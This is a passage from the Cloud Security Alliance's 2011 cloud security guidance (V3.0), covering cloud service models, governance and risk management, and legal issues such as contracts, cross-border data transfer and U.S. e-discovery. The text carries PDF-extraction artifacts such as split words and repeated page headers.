entities but are bound together by standardized or proprietary technology that enables data and application portability (e.g., cloud bursting for load -balancing between clouds). SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 26 1.7 R ecommendations Cloud service delivery is divided among three archetypal models and various derivative combinations. The three fundamental classifications are often referred to as the “SPI Model,” where “SPI” refers to Software, Platform or Infrastructure (as a Service), respectively. o Cloud Softwar e as a Service (SaaS). The capability provided to the consumer is to use the provider’s applications running on a cloud infrastructure. The applications are accessible from various client devices through a thin client interface such as a web browser (e.g., web -based email). The consumer does not manage or control the underlying cloud infrastructure including network, servers, operating systems, storage, or even individual application capabilities with the possible exception of limited user- specific application configuration settings. o Cloud Platform as a Service (PaaS). The capability provided to the consumer is to deploy onto the cloud infrastructure consumer- created or acquired applications created using programming languages and tools supported by the provider. The consumer does not manage or control the underlying cloud infrastructure including network, servers, operating systems, or storage, but has control over the deployed applications and possibly application hosting environment configurations. o Cloud Infrastructure as a Service (IaaS). The capability provided to the consumer is to provision processing, storage, networks, and other fundamental computing resources where the consumer is able to deploy and run arbitrary software, which could include operating systems and applications. The consumer does not manage or control the underlying cloud infrastructure but has control over operating systems, storage, deployed applications, and possibly limited control of select networking components (e.g., ho st firewalls). The NIST model and this document do not directly address the emerging service model definitions associated with cloud service brokers, those providers that offer intermediation, monitoring, transformation/portability, governance, provisionin g, and integration services and negotiate relationships between various cloud providers and consumers. In the short term, as innovation drives rapid solution development, consumers and providers of cloud services will enjoy varied methods of interacting w ith cloud services in the form of developing API’s and interfaces and so cloud service brokers will emerge as an important component in the overall cloud ecosystem. Cloud service brokers will abstract these possibly incompatible capabilities and interfaces on behalf of consumers to provide proxy in advance of the arrival of common, open, and standardized ways of solving the problem longer term with a semantic capability that allows the consumer a fluidity and agility in being able to take advantage of the m odel that works best for their particular needs. It is also important to note the emergence of many efforts centered on the development of both open and proprietary API’s, which seek to enable things such as management, security, and interoperability for c loud. Some of these efforts include the Open Cloud Computing Interface Working Group, Amazon EC2 API, VMware’s DMTF -submitted vCloud API, Sun’s Open Cloud API, Rackspace API, and GoGrid’s API, to name just a few. Open, standard API’s will play a key role in cloud portability and interoperability as well as common container formats such as the DMTF’s Open Virtualization Format (OVF). SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 27 While there are many working groups, drafts, and published specifications under consideration at this time, it is natural that consolidation will take effect as market forces, consumer demand, and economics pare down this landscape to a more manageable and interoperable set of players. 1.8 Requirements Cloud services exhibit five essential characteristics that demonstrate t heir relation to, and differences from, traditional computing approaches.  On-demand self -service. A consumer can unilaterally provision computing capabilities such as server time and network storage as needed automatically without requiring human interact ion with a service provider.  Broad network access. Capabilities are available over the network and accessed through standard mechanisms that promote use by heterogeneous thin or thick client platforms (e.g., mobile phones, laptops, and PDA’s )12 as well as other traditional or cloud -based software services.  Resource pooling. The provider’s computing resources are pooled to serve multiple consumers using a multi- tenant model with different physical and virtual resources dynamically assigned and reassigned according to consumer demand. There is a degree of location independence in that the customer generally has no control or knowledge over the exact location of the provided resources, but may be able to specify location at a higher level of abstr action (e.g., country, state, or datacenter). Examples of resources include storage, processing, memory, network bandwidth, and virtual machines. Even private clouds tend to pool resources between different parts of the same organization.  Rapid elasticit y. Capabilities can be rapidly and elastically provisioned — in some cases automatically — to quickly scale out; and rapidly released to quickly scale in. To the consumer, the capabilities available for provisioning often appear to be unlimited and can b e purchased in any quantity at any time.  Measured service. Cloud systems automatically control and optimize resource usage by leveraging a metering capability at some level of abstraction appropriate to the type of service (e.g., storage, processing, ban dwidth, or active user accounts). Resource usage can be monitored, controlled, and reported — providing transparency for both the provider and consumer of the service. The keys to understanding how cloud architecture impacts security architecture are a co mmon and concise lexicon coupled with a consistent taxonomy of offerings by which cloud services and architecture can be deconstructed, mapped to a model of compensating security and operational controls, risk assessment frameworks, and management framewor ks; and in turn to compliance standards. Understanding how architecture, technology, process, and human capital requirements change or remain the same when deploying cloud -computing services is critical. Without a clear understanding of the higher- level architectural implications, it is impossible to address more detailed issues rationally. This architectural overview, along with the thirteen other areas of critical focus, will provide the reader with a solid foundation for assessing, operationalizing, managing, and governing security in cloud computing environments. 12 PDA - Personal Digital Assistant SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 28 REFERENCES [1] NIST definition of Cloud. NIST 500 -292 “NIST Cloud Computing Reference Architecture” [2] NIST definitions and API homepages. www.cloud -standards.org [3] Jericho Forum Cloud Cube Model. www.opengroup.org/jericho/cloud_cube_model_v1.0.pdf SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 29 SECTION II // GOVERNING IN THE CLOUD SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 30 DOMAIN 2 // GOVERNANCE & ENTERPRISE RISK MANAGEMENT The fundamental issues of governance and enterprise risk management in cloud computing concern the identification and implementation of the appropriate organizational structures, processes, and controls to maintain effective information security governance, risk management, and compliance. Organizations should also assure reasonable information security across the information supply chain, encompassing providers and customers of cloud computing services and their su pporting third party vendors, in any cloud deployment model. An effective governance and enterprise risk management cloud computing program flows from well- developed information security governance processes as part of the organization’s overall corporate governance obligations of due care. Well- developed information security governance processes result in information security management programs that are scalable with the business, repeatable across the organization, measurable, sustainable, defensible, continually improving, and cost -effective on an ongoing basis. For many cloud deployments, a major element of governance will be the agreement between provider and customer. For custom environments, detailed care can be taken, and negotiated, for each p rovision. For larger scale customer or providers, there will be a decision whether to trade off attention to detail vs. scalability of effort. Attention can be prioritized base on criticality or value at risk for the particular workload (e.g., up -time an d availability may be more important for email than for HR systems). As the space continues to mature, projects like Cloud Audit or STAR will provide more standardized governance methods, therefore greater scalability. Overview. This domain addresses:  Governance  Enterprise Risk Management 2.1 Corporate Governance Corporate governance is the set of processes, technologies, customs, policies, laws, and institutions affecting the way an enterprise is directed, administered or controlled. Corporate governance also includes the relationship among the many stakeholders i nvolved and the goals of the company involved. Good governance is based on the acceptance of the rights of shareholders, as the true owners of the corporation, and the role of senior management as trustees. There are many models of corporate governance; however , all follow five basic principles:  Auditing supply chains  Board and management structure and process  Corporate responsibility and compliance  Financial transparency and information disclosure This section maps to the Cloud Control Matrix Controls DG -01, IS -02 and the use of GRC -XML and CloudAudit to establish solvency. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 31  Ownership structure and exercise of control rights A key factor in a customer decision to engage a corporation is the confidence that expectations will be met. For cloud services, the interdependencies among multiple services make it more difficult for a customer to sort out the responsible party. If that res ults in less confidence in a particular vendor, then further engagement with that vendor is less likely. If this becomes a systemic feature, the loss of confidence in one actor will rollover to others, and the market failure will increase the likelihood o f both external action and alternative participants. Stakeholders should carefully consider the monitoring mechanisms that are appropriate and necessary for the company’s consistent performance and growth. 2.2 Enterprise Risk Management Enterprise ris k management (ERM) is rooted in the commitment by every organization to provide value for its stakeholders. All businesses face uncertainty and one of management’s challenges is to determine how one organization can measure, manage, and mitigate that unce rtainty. Uncertainty presents both opportunity and risk with potential to increase or decrease the value of the organization and its strategies. Information risk management is the process of identifying and understanding exposure to risk and capability of managing it, aligned with the risk appetite and tolerance of the data owner. Hence, it is the primary means of decisi on support for IT resources dedicated to delivering the confidentiality, integrity, and availability of information assets. Enterprise risk management in business includes the methods and processes used by organizations to manage risks and seize opportun ities related to the achievement of their objectives. In a cloud environment, management selects a risk response strategy for specific risks identified and analyzed, which may include:  Avoidance —exiting the activities giving rise to risk  Reduction —taking action to reduce the likelihood or impact related to the risk  Share or insure —transferring or sharing a portion of the risk to finance it  Accept —no action is taken due to a cost/benefit decision Risk management is naturally a balancing process with the goal not necessarily to minimize uncertainty or variation, but rather the goal of maximizing value in line with risk appetite and strategy. There are many variables, values, and risk in any cloud opportunity or program that affect the decision whether a cloud service should be adopted from a risk or business value standpoint. Each enterprise has to weigh those variables to decide whether the cloud is an appropriate solution. Cloud computing offers enterprises many possible benefits, some of these benefits include:  Optimized resource utilization This section maps to t he Cloud Control Matrix Controls DG -08 and the use of ISO31000, ISF and ISACA guideli nes to establish solvency. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 32  Cost savings for cloud computing tenants  Transitioning of capital expenses  (CAPEX) to operating expenses (OPEX)  Dynamic scalability of IT power for clients  Shortened life cycle development of new applications or deployments  Shortened time requirements for new business implementation Customers should view cloud services and security as supply chain security issues. This means examining and assessing the provi der’s supply chain (service provider relationships and dependencies) to the extent possible. This also means examining the provider’s own third party management. Assessment of third party service providers should specifically target the provider’s incide nt management, business continuity and disaster recovery policies, and processes and procedures; and should include review of co -location and back -up facilities. This should include review of the provider’s internal assessments of conformance to its own p olicies and procedures and assessment of the provider’s metrics to provide reasonable information regarding the performance and effectiveness of its controls in these areas. Incident information can be specified in contracts, SLAs, or other joint agreeme nts, and can be communicated automatically or periodically, directly into reporting systems or delivered to key personnel. The level of attention and scrutiny should be connected to the value at risk – if the third party will not directly access enterpris e data, then the level of risk drops significantly and vice versa. Customers should review the risk management processes and governance of their providers, and ensure that practices are consistent and aligned. 2.3 Permissions Permissions  Adopt an establi shed risk framework for monitoring and measuring corporate risk  Adopt metrics to measure risk management performance (e.g., Security Content Automation Protocol ( SCAP ) 13, Cybersecurity Information Exchange Framework ( CYBEX )14, or GRC -XML15).  Adopt a risk cen tric viewpoint of corporate governance with senior management taking the role of trustee for both the shareholders and the stakeholders in the supply chain.  Adopt a framework from legal perspective to account for differences across jurisdictions. 13 SCAP - Security Content Automation Protocol 14 CYBEX - Cybersecurity Information Exchange Framework 15 GRC- XML - technology standards to enable and enhance the sharing of information between various technologies that support GRC efforts SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 33 2.4 Rec ommendations o Reinvest the cost savings obtained by cloud computing services into increased scrutiny of the security capabilities of the provider, application of security controls, and ongoing detailed assessments and audits to ensure requirements are con tinuously met. o User organizations should include review of specific information security governance structure and processes, as well as specific security controls, as part of their due diligence for prospective provider organizations. The provider’s secur ity governance processes and capabilities should be assessed for sufficiency, maturity, and consistency with the user’s information security management processes. The provider’s information security controls should be demonstrably risk -based and clearly s upport these management processes. o Collaborative governance structures and processes between customers and providers should be identified as necessary, both as part of the design and development of service delivery, and as service risk assessment and risk management protocols, and then incorporated into service agreements. o Security departments should be engaged during the establishment of Service Level Agreements ( SLA’s) 16 and contractual obligations to ensure that security requirements are contractually enforceable. o Metrics and standards for measuring performance and effectiveness of information security management should be established prior to moving into the cloud. At a minimum, organizations should understand and document their current metrics and how they will change when operations are moved into the cloud and where a provider may use different (potentially incompatible) metrics. o Due to the lack of physical control over infrastructure by customers, in many Cloud Computing deployments, SLA’s, contract requirements, and provider documentation play a larger role in risk management than with traditional, enterprise owned infrastructure. o Due to the on -demand provisioning and multi -tenant aspects of cloud computing, traditional forms of audit and assessment may not be available or may be modified. For example, some providers restrict vulnerability assessments and penetration testing, while others limit availability of audit logs and activity monitoring. If these are required per your internal policies, you may need to seek alternative assessment options, specific contractual exceptions, or an alternative provider better aligned with your risk management requirements. o If the services provided in the cloud are essential to corporate operations a risk management approach should include identification and valuation of assets, identification and analysis of threats and vulnerabilities and their potential impact on assets (risk an d incident scenarios), analysis of the likelihoods of events/scenarios, management -approved risk acceptance levels and criteria, and the development of risk treatment plans with multiple options (control, avoid, transfer, accept). The outcomes of risk tre atment plans should be incorporated into service agreements. o Risk assessment approaches between provider and user should be consistent with consistency in impact analysis criteria and definition of likelihood. The user and provider should jointly develop risk scenarios for the cloud service; this should be intrinsic to the provider’s design of service for the user, and to the user’s assessment of cloud service risk. 16 SLA - Service Level Agreement SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 34 o Due to the evolving nature of cloud and its providers, care should be taken to include vend or risk, e.g., business survivability of providers, portability of data and applications, and interoperability of services. o Asset inventories should account for assets supporting cloud services and under the control of the provider. Asset classification and valuation schemes should be consistent between user and provider. o The service, and not just the vendor, should be the subject of risk assessment. The use of cloud services, and the particular service and deployment models to be utilized, should be co nsistent with the risk management objectives of the organization, as well as with its business objectives. o Cloud Computing service customers and providers should develop robust information security governance, regardless of the service or deployment model. Information security governance should be collaboration between customers and providers to achieve agreed -upon goals that support the business mission and information security program. Governance should include periodic review, and the service model may adjust the defined roles and responsibilities in collaborative information security governance and risk management (based on the respective scope of control for user and provider), while the deployment model may define accountability and expectations (bas ed on risk assessment). o Customers of cloud services should ask whether their own management has defined risk tolerances with respect to cloud services and accepted any residual risk of utilizing cloud services. o Where a provider cannot demonstrate comprehen sive and effective risk management processes in association with its services, customers should carefully evaluate use of the vendor as well as the user’s own abilities to compensate for the potential risk management gaps. o Organizations should define risk metrics for engaging providers based on business and technical exposures. These metrics could include the type of data covered, the variety of user types relating to the information, and the vendors and other counterparties involved. 2.5 Requirements  Provide transparency to stakeholders and shareholders demonstrating fiscal solvency and organizational transparency .  Respect the interdependency of the risks inherent in the cloud supply chain and communicate the corporate risk posture and readiness to c onsumers and dependant parties .  Inspect and account for risks inherited from other members of the cloud supply chain and take active measures to mitigate and contain risks through operational resiliency . SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 35 DOMAIN 3 // LEGAL ISSUES: CONTRACTS AND ELECTRONI C DISCOVERY This domain highlights some of the legal aspects raised by cloud computing. It provides general background on legal issues that can be raised by moving data to the cloud, some issues for consideration in a cloud services agreement, and the sp ecial issues presented by electronic discovery under Western litigation. This domain provides an overview of selected issues and it is not a substitute for obtaining legal advice. Overview. This domain will address the following topics :  Summary of specific legal issues raised by moving data to the cloud  Considerations for a cloud services agreement  Special issues raised by e -discovery 3.1 Legal Issues In many countries throughout the world, numerous laws, regulations, and other mandates require pu blic and private organizations to protect the privacy of personal data and the security of information and computer systems. For example, in the Asia Pacific region , Japan, Australia, New Zealand, and many others have adopted data protection laws that requ ire the data controller to adopt reasonable technical, physical, and administrative measures in order to protect personal data from loss, misuse, or alteration, based on the Privacy and Security Guidelines of the Organization for Economic Cooperation and Development ( OECD ) 17, and the Asia Pacific Economic Cooperation’s ( APEC )18 Privacy Framework. In Europ e, the European Economic Area ( EEA)19 Member States have enacted data protection laws that follow the principles set for th in the 1995 European Union (EU ) Data Protection Directive20 and the 2002 ePrivacy Directive (as amended in 2009). These laws include a security component, and the obligation to provide adequate security must be passed down to subcontractors. Other countries that have close ties with the EEA, such as Morocco and Tunisia in Africa, Israel and Dubai in the Middle East have also adopted similar laws that follow the same principles. North, Central, and South America countries are also adopting data protection laws at a rapid pace. Each of the se laws includes a security requirement and places on the data custodian the burden of ensuring the protection and security of personal data wherever the data are located, and especially when transferring to a third party. For example, in addition to the d ata protection laws of Canada, Argentina and Colombia, which have been in existence for several years, Mexico, Uruguay, and Peru have recently passed data protection laws that are inspired mainly from the European model and may include references to the AP EC Privacy Framework as well. 17 OECD - Organization for Economic Cooperation and Development 18 APEC - Asia Pacific Economic Cooperation 19 EEA - European Economic Area 20 EU Directive 95/46/EC SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 36 In Japan, the Personal Information Protection Act requires the private sectors to protect personal information and data securely. In the healthcare industry, profession -specific laws, such as the Medical Practitioners' Act, the Act on Public Health Nurses, Midwives and Nurses , and the Pharmacist Act, require registered health professionals for confidentiality of patient information. Organizations that do business in the United States may be subject to one or more data protection laws. The laws hold organizations responsible for the acts of their subcontractors. For example, the security and privacy rules under the Gramm -Leach -Bliley Act (GLBA ) 21 or the Health Insurance Portability and Accountability Act of 1996 ( HIPAA ) require that organizations compel their subcontractors, in written contracts, to use reasonable security measures and comply with data privacy provisions. Government agencies, such as the Federal Trade Commission (FTC ) or the State Attorneys General have consistently held organizations liable for the activities of their subcontracto rs. The Payment Card Industry (PCI) Data Security Standard s (DSS), which apply to credit card data anywhere in the world, including data processed by subcontractors has similar requirements. The following sections provide examples of legal issues that may arise in connection with the transfer of personal data to the cloud or the processing of personal data in the cloud . Table 1 — Obligatory Predicates ISSUE DESCRIPTION U.S. Federal Laws Numerous federal laws and their related regulations, such as GLBA, HIPAA, Children’s Online Privacy Protection Act of 1998 (“COPPA”), together with orders issued by the FTC, require companies to adopt specific privacy and security measures whe n processing data, to require similar precautions in their contracts with the third party service provider. U.S. State Laws Numerous state laws also create an obligation on companies to provide adequate security for personal data and to require their service providers to do the same. State laws that address information security issues generally require, at a minimum, that the company have a written contract with the service provider with reasonable security measures. See for example the extensive requ irements under the Massachusetts Security Regulations. Standards Standards such as PCI DSS or ISO 27001 also create a domino effect similar to that of federal and state laws. Companies that are subject to PCI DSS or ISO 27001 must both comply with specif ied standards and pass onto their subcontractors the same obligation to meet the standard to which they are subject. International Regulations Many countries have adopted data protection laws that follow the European Union model, the OECD model or the APEC model. Under these laws, the data controller (typically the entity that has the primary relationship with an individual) remains responsible f or the collection and processing of personal data, even when third parties process the data. The data controller is required to ensure that any third party 21 GLBA - Gramm -Leach -Billey Act SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 37 processing personal data on its behalf takes adequate technical and organizational security measures to safeguard the data. Contractual Obligations Even if a specific activity is not regulated, companies may have a contractual obligation to protect the personal information of their clients, contacts or employees, to ensure that the data are not used fo r secondary uses, and are not disclosed to third parties. This obligation may stem, for example, from the Terms and Conditions and Privacy Statement that a company post on its website. Alternately, the company may have entered into contracts (such as serv ice agreements) with its customers, in which it has made specific commitments to protect the data (personal data or company data), limit their use, ensure their security, use encryption, etc. The organization must ensure that, when data in its custody are hosted in the cloud, it will have the continued ability to meet the promises and commitments that it made in its privacy notice(s) or other contracts. For example, the company may have agreed to make only specific uses of the data. Data in the cloud must be used only for the purposes for which they were collected. If the privacy notice allows individual data subjects to have access to their personal data, and to have this information modified or deleted, the cloud service provider must also allow these access, modification and deletion rights to be exercised to the same extent as it would in a non -cloud relationship. Prohibition against cross border transfers Many laws, throughout the world, prohibit or restrict the transfer of information out of the co untry. In most cases, the transfer is permitted only if the country to which the data are transferred offers an adequate protection of personal information and privacy rights. The purpose of this adequacy requirement is to ensure that the individual data subjects whose data are transferred across borders will be able to enjoy, in the new country where their data were transferred, privacy rights and privacy protections that are similar to, and not less than, those that were afforded to them before the trans fer. Thus, it is important for a cloud user to know where the personal data of its employees, clients, and others will be located, so that it can address the specific restrictions that foreign data protection laws may impose. Depending on the country, the requirements for ensuring this adequate protection may be complex and stringent. In some cases, it may be necessary to obtain prior permission of the local Data Protection Commissioner. 3.2 Contract Considerations When data is transferred to a cloud, th e responsibility for protecting and securing the data typically remains with the collector or custodian of that data, even if in some circumstances, this responsibility may be shared with others. When it relies on a third party to host or process its data, the custodian of the data remains liable for any loss, damage, or SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 38 misuse of the data. It is prudent, and may be legally required, that the data custodian and the cloud provider enter into a written (legal) agreement that clearly defines the roles, expec tations of the parties, and allocates between them the many responsibilities that are attached to the data at stake. The laws, regulations, standards and the related best practices discussed above, also require data custodians to ensure that these obligati ons will be fulfilled by conducting due diligence (before execution of the contract) or security audits (during performance of the contract). 3.2.1 Due Diligence Before entering into a cloud computing arrangement, a company should evaluate its own practices, needs, and restrictions, in order to identify the legal barriers and compliance requirements, associated with a proposed cloud computing transaction. For example, it should determine whether its business model allows for the use of cloud comput ing services, and under which conditions. The nature of its business might be such that any relinquishment of control over the company data is restricted by law or creates serious security concerns. In addition, the company should —and in some cases may be legally required to —conduct due diligence of the proposed cloud service provider, in order to determine whether the offering will allow the company to fulfill its continued obligation to protect its assets. 3.2.2 Contract The parties must enter into a written contract. Depending on the nature of the services, the contract may commonly be in the form of a click -wrap agreement, which is not negotiated; or the parties may negotiate a more complex written document that is tailored to the specific situation . If a click -wrap agreement is the only agreement available, the cloud service client should balance the risks from foregoing negotiations against the actual benefits, financial savings, and ease of use promised by the cloud service provider. If the part ies can negotiate a contract, they should ensure that the provisions of this contract address the needs and obligations of the parties both during the term of the contract and upon termination. Detailed, comprehensive provisions, addressing the unique need s and risks of operating in a cloud environment, should be negotiated. If issues are not addressed in the contract, the cloud service customer should consider alternate means of achieving the goal, an alternate provider, or not sending the data to the cl oud. For example, if the cloud service customer wishes to send HIPAA -covered information to the cloud, the customer will need to find a cloud service provider that will sign a HIPAA business associate agreement or else not send that data to the cloud. Below are brief descriptions of some cloud -specific issues. In addition, the attached checklist provides a comprehensive (but not exhaustive) list of issues to consider when reviewing a cloud services contract. 3.2.3 Monitoring, Testing and Updating The c loud environment is not static. It evolves, and the parties must adapt. Periodic monitoring, testing, and evaluation of the services are recommended, in order to ensure that the required privacy and security measures are being used, and the processes and policies are being followed. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 39 In addition, the legal, regulatory, and technical landscape is likely to change at a rapid pace. New security threats, new laws, new compliance requirements must be addressed promptly. The parties must keep abreast of the legal and other requirements and ensure that the operations remain compliant with applicable laws, and that the security measures in place keep evolving as new technologies and new laws emerge. Cloud Audit and Cloud Trust Protocol are two mechanisms to aut omate monitoring and testing of cloud supply chains. In addition, the ITU -T is working on an X.1500 Cloud Auditing specification referred to as CYBEX. 3.3 Special Issues Raised by E -Discovery This section addresses the unique requirements of litigation in the United States. U.S. litigants rely heavily on documents when arguing their case. One of the particularities of the American judicial system – in great contrast to most other countries – is that a US litigant must provide its adversary with ALL docu ments that pertain to the case. It must not only provide the documents that are favorable to its case, but also the documents that are favorable to the other litigant. In recent years, there have been numerous scandals where litigants were accused to have voluntarily deleted, lost, or modified important evidence that was detrimental to their case. As a result, the rules of procedures have been changed to clarify the obligations of the parties, especially in the case of electronically stored information or “ESI.” Since the cloud will become the repository of most ESI that is needed in a litigation or investigation, cloud service providers and their clients must carefully plan how they will be able to identify all documents that pertain to a case in order t o be able to fulfill the stringent requirements imposed by the E -Discovery provisions of the Federal Rules of Civil Procedure, and the State equivalents to these laws. In this regard, the cloud service client and provider need to consider the following iss ues in matters when a client is subject to a discovery request and potentially relevant data exists with the cloud provider. 3.3.1 Possession, Custody, and Control In most jurisdictions in the United States, a party’s obligation to produce relevant inf ormation is limited to documents and data within its possession, custody or control. Hosting relevant data at a third -party, even a cloud provider, generally does not obviate a party’s obligation to produce information as it may have a legal right to acces s or obtain the data. However, not all data hosted by a cloud provider may be in the control of a client (e.g., disaster recovery systems, certain metadata created and maintained by the cloud provider to operate its environment). Distinguishing the data that is and is not available to the client may be in the interest of the client and provider. The obligations of the cloud service provider as cloud data handler with regard to the production of information in response to legal process is an issue left to each jurisdiction to resolve. 3.3.2 Relevant Cloud Applications and Environment In certain litigations and investigations, the actual cloud application or environment could itself be relevant to resolving the dispute in the litigation or investigati on. In these circumstances, the application and environment will likely be outside the control of the client and require a subpoena or other discovery process on the provider directly. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 40 3.3.3 Searchability and E -Discovery Tools Because of the cloud envi ronment, a client may not be able to apply or use e- discovery tools that it uses in its own environment. Moreover, a client may not have the ability or administrative rights to search or access all of the data hosted in the cloud. For example, where a cl ient could access multiple employees’ e -mail accounts on its own server at once, it may not have this ability with e -mail accounts hosted in the cloud. As such, clients need to account for the potential additional time, and expense, that this limited access will cause. 3.3.4 Preservation Generally speaking, in the United States, a party is obligated to undertake reasonable steps to prevent the destruction or modification of data or information in its possession, custody, or control that it knows, or reas onably should know, is relevant to a pending or reasonably anticipated litigation or government investigation. Depending on the cloud service and deployment model that a client is using, preservation in the cloud can be very similar to preservation in oth er IT infrastructures, or it can be significantly more complex. In the European Union, information preservation is governed under Directive 2006/24/EC of the European Parliament and of the Council of 15 March 2006. Japan, South Korea, and Singapore have similar data protection initiatives. Within South America, Brazil and Argentina have the Azeredo Bill, and the Argentina Data Retention Law 2004, Law No. 25.873, 6 February 2004, respectively. 3.3.4.1 Costs and Storage Preservation can require that large volumes of data be retained for extended periods. What are the ramifications of this under the service level agreement (“SLA”)? What happens if the preservation requirements outlast the terms of the SLA? If the client preserves the data in place, who pays for the extended storage and at what cost? Does the client have the storage capacity under its SLA? Can the client effectively download the data in a forensically sound manner so it can preserve it off- line or near- line? 3.3.4.2 Scope of Preservation Absent good cause or a specific need, a requesting party is only entitled to data that is hosted in the cloud that contains relevant information, not all the data in the cloud or in the application. However, if the client does not have the ability to preserve relevant information or data in a granular way, it may be required to over- preserve in order to effect reasonable preservation, depending on the litigation or investigation. 3.3.4.3 Dynamic and Shared Storage The burden of preserving data in the cloud may be relatively modest if the client has space to hold it in place, the data is relatively static, and the people with access are limited and know to preserve it. However, in a cloud environment that programmati cally modifies or purges data, or one where the data is shared with people unaware of the need to preserve, preservation can be more difficult. After a client determines that such data is relevant and needs to be preserved, the client may need to work with the provider to determine a reasonable way to preserve such data. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 41 3.3.5 Collection Because of the potential lack of administrative control a client has over its data in the cloud, collection from the cloud can be more difficult, more time -consuming, an d more expensive than from behind a client’s firewall. In particular, a client may not have the same level of visibility across its cloud data, and it may have more difficulty comparing the data it has collected with the data in the cloud to determine tha t export was reasonably complete and accurate. 3.3.5.1 Access and Bandwidth In most cases, a client’s access to its data in the cloud will be determined by its SLA. This may limit its ability to colle ct large volumes of data quickly and in a forensically sound manner (i.e., with all reasonably relevant metadata preserved). Clients and cloud providers are well served to consider this issue early and establish a protocol (and a cost) for extraordinary access in the case of litigation and investigations t o allow for collection. Absent these agreements, clients should consider the extra time and cost implicated by collection in the cloud when making representations to requesting parties and courts. 3.3.5.2 Functionality Related to access and bandwidth, b ut different. Clients’ right of access may provide them access to a full range of data, but not provide them the degree of functionality that would best assist them in a given situation. By way of example, a client may have access to three years of retail transactional data, but may only be able to download data two weeks at a time due to functionality constraints. Moreover, a client may not have full view into all the metadata that actually exists, but rather only a more limited degree of metadata. 3.3.5.3 Forensics Bit-by-bit imaging of a cloud data source is generally difficult or impossible. For obvious security reasons, providers are reluctant to allow access to their hardware, particularly in a multi- tenant environment where a client could gain access to other clients’ data. Even in a private cloud, forensics may be extremely difficult, and clients may need to notify opposing counsel or the courts of these limitations. Luckily, forensics is rarely warranted in cloud computing, not because it i s cloud computing, but because it is usually a structured data hierarchy or virtualization that does not lend itself to forensic analysis. 3.3.5.4 Reasonable Integrity A client subject to a discovery request should undertake reasonable steps to validate that its collection from its cloud provider is complete and accurate, especially where ordinary business procedures are unavailable and litigation -specific measures are being used to obtain the information. This process is separate and apart from verifyin g, that the data stored in the cloud is accurate, authenticated, or admissible. 3.3.5.5 Not Reasonably Accessible Because of differences in how a client’s data is stored and the client’s access rights and privileges, not all of a client’s data in the clo ud may be equally accessible. The client (and the provider) should analyze requests for information and the pertinent data structure for relevance, materiality, proportionality and accessibility. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 42 3.3.6 Direct Access Outside of the cloud environment, a requesting party’s direct access to a responding party’s IT environment is not favored. In the cloud environment, it is even less favored and may be impossible for the same reasons as forensics. Importantly, a client may not be able to provide direct acc ess because the hardware and facilities are outside its possession, custody or control, and a requesting party would need to subpoena or negotiate directly with the provider. 3.3.7 Native Production Cloud service providers often store data in highly pro prietary systems and applications in the cloud that clients do not control. Production of data in this native format may be useless to requesting parties, as they will not be able to understand the information produced. In these circumstances, it may be best for all concerned – requesting party, producing party, and provider – that the relevant information be exported using standard reporting or exporting protocols that exist within the cloud environment. 3.3.8 Authentication Authentication in this context refers to forensic authentication of data that is admitted into evidence. This should not be confused with user authentication, which is a component of Identity Management. Storing data in the cloud does not affect the analysis for authentication of the data to determine if it should be admitted into evidence. The question is whether the document is what it purports to be. An e- mail is no more or less authentic because it was stored behind a company’s firewall or was stored in the cloud. The ques tion is whether it was stored with integrity and the court can trust that it has not been altered since it was sent or received. 3.3.9 Admissibility and Credibility Absent other evidence, such as tampering or hacking, documents should not be considered more or less admissible or credible merely because they were created or stored in the cloud. 3.3.10 Cooperation between Provider and Client in e -Discovery It is in the best interests of both providers and clients to consider the complications caused by discovery at the beginning of their relationship and to account for it in their SLAs. Providers may want to consider designing their cloud offerings to include discovery services to attract clients (“Discovery by Design”). In any event, clients and providers should consider including an agreement to reasonably cooperate with each other in the event of discovery requests against either. 3.3.11 Response to a Subpoena or Search Warrant The cloud service provider is likely to receive, from third parties, a request to provide information, in the form of a subpoena, a warrant, or court order in which access to the client data is requested. The client may want to have the ability to fight the request for access in order to protect the confidentiality or secrec y of the data sought. To this end, SECURIT Y GUIDANC E FOR CRITICA L AREA S OF 